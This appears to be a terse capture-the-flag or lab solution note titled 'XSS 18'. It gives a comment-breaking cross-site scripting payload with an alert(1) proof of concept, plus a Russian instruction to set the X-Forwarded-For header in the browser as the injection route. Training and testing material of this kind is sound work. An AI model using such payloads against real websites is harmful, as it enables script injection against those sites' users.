XSS 18

---

--><script>alert(1)</script><\!--

---

Следует установить X-Forwarded-For в браузере